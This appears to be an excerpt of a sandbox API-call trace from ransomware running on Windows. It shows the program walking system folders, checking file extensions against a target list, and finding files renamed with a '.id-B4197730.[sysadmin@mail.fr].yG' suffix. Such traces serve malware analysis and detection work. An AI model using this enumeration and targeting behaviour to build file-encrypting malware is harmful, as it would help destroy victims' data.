	[0178.573] lstrcmpiW (lpString1=".potm", lpString2="r].yG") returned -1
	[0178.573] lstrlenW (lpString=".potx") returned 5
	[0178.573] lstrcmpiW (lpString1=".potx", lpString2="r].yG") returned -1
	[0178.573] lstrlenW (lpString=".ppa") returned 4
	[0178.573] lstrcmpiW (lpString1=".ppa", lpString2="].yG") returned -1
	[0178.573] lstrlenW (lpString=".ppam") returned 5
	[0178.573] lstrcmpiW (lpString1=".ppam", lpString2="r].yG") returned -1
	[0178.574] lstrlenW (lpString=".ppm") returned 4
	[0178.574] lstrcmpiW (lpString1=".ppm", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".pps") returned 4
	[0178.574] lstrcmpiW (lpString1=".pps", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".ppsm") returned 5
	[0178.574] lstrcmpiW (lpString1=".ppsm", lpString2="r].yG") returned -1
	[0178.574] lstrlenW (lpString=".ppt") returned 4
	[0178.574] lstrcmpiW (lpString1=".ppt", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".pptm") returned 5
	[0178.574] lstrcmpiW (lpString1=".pptm", lpString2="r].yG") returned -1
	[0178.574] lstrlenW (lpString=".pptx") returned 5
	[0178.574] lstrcmpiW (lpString1=".pptx", lpString2="r].yG") returned -1
	[0178.574] lstrlenW (lpString=".prn") returned 4
	[0178.574] lstrcmpiW (lpString1=".prn", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".ps") returned 3
	[0178.574] lstrcmpiW (lpString1=".ps", lpString2=".yG") returned -1
	[0178.574] lstrlenW (lpString=".psb") returned 4
	[0178.574] lstrcmpiW (lpString1=".psb", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".psd") returned 4
	[0178.574] lstrcmpiW (lpString1=".psd", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".pst") returned 4
	[0178.574] lstrcmpiW (lpString1=".pst", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".ptx") returned 4
	[0178.574] lstrcmpiW (lpString1=".ptx", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".pub") returned 4
	[0178.574] lstrcmpiW (lpString1=".pub", lpString2="].yG") returned -1
	[0178.574] lstrlenW (lpString=".pwm") returned 4
	[0178.574] lstrcmpiW (lpString1=".pwm", lpString2="].yG") returned -1
	[0178.575] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e232ed, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e95943, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="OOBE_2~1.YG")) returned 1
	[0178.575] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0178.575] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 0
	[0178.575] FindClose (in: hFindFile=0x6ba500 | out: hFindFile=0x6ba500) returned 1
	[0178.576] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.576] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0178.576] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.577] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName=".", cAlternateFileName="")) returned 0x6ba980
	[0178.578] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="..", cAlternateFileName="")) returned 1
	[0178.578] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98402cea, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="GetCurrentOOBE.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~2.YG")) returned 1
	[0178.578] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97db0c40, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~1.YG")) returned 1
	[0178.578] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="PartnerSetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0178.578] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98428f1b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98428f1b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984753fa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="preoobe.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PREOOB~1.YG")) returned 1
	[0178.578] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 1
	[0178.579] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 0
	[0178.579] FindClose (in: hFindFile=0x6ba980 | out: hFindFile=0x6ba980) returned 1
	[0178.579] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.579] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0178.580] FindClose (in: hFindFile=0x6ba7c0 | out: hFindFile=0x6ba7c0) returned 1
	[0178.580] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0178.581] FindNextFileW (in: hFindFile=0x6ba5c0, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0178.581] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c40060
	[0178.581] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName=".", cAlternateFileName="")) returned 0x6ba500
	[0178.582] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="..", cAlternateFileName="")) returned 1
	[0178.582] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0178.582] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.582] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x6ba600
	[0178.583] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.583] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980bb6c3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980bb6c3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980bb6c3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0178.584] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980bb6c3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980bb6c3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980bb6c3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 0
	[0178.584] FindClose (in: hFindFile=0x6ba600 | out: hFindFile=0x6ba600) returned 1
	[0178.584] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.584] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0178.584] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.584] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x6ba600
	[0178.584] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.584] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2763d00c, ftCreationTime.dwHighDateTime=0x1d50842, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0178.584] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0178.585] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 0
	[0178.585] FindClose (in: hFindFile=0x6ba600 | out: hFindFile=0x6ba600) returned 1
	[0178.585] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.585] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0178.585] FindClose (in: hFindFile=0x6ba500 | out: hFindFile=0x6ba500) returned 1
	[0178.585] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0178.586] FindNextFileW (in: hFindFile=0x6ba5c0, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0178.586] FindNextFileW (in: hFindFile=0x6ba5c0, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0178.586] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c40060
	[0178.587] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName=".", cAlternateFileName="")) returned 0x6baa80
	[0178.588] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="..", cAlternateFileName="")) returned 1
	[0178.588] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1025", cAlternateFileName="")) returned 1
	[0178.588] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.588] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf1028
	[0178.728] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.728] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984753fa, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984753fa, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.728] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98913e73, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.728] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
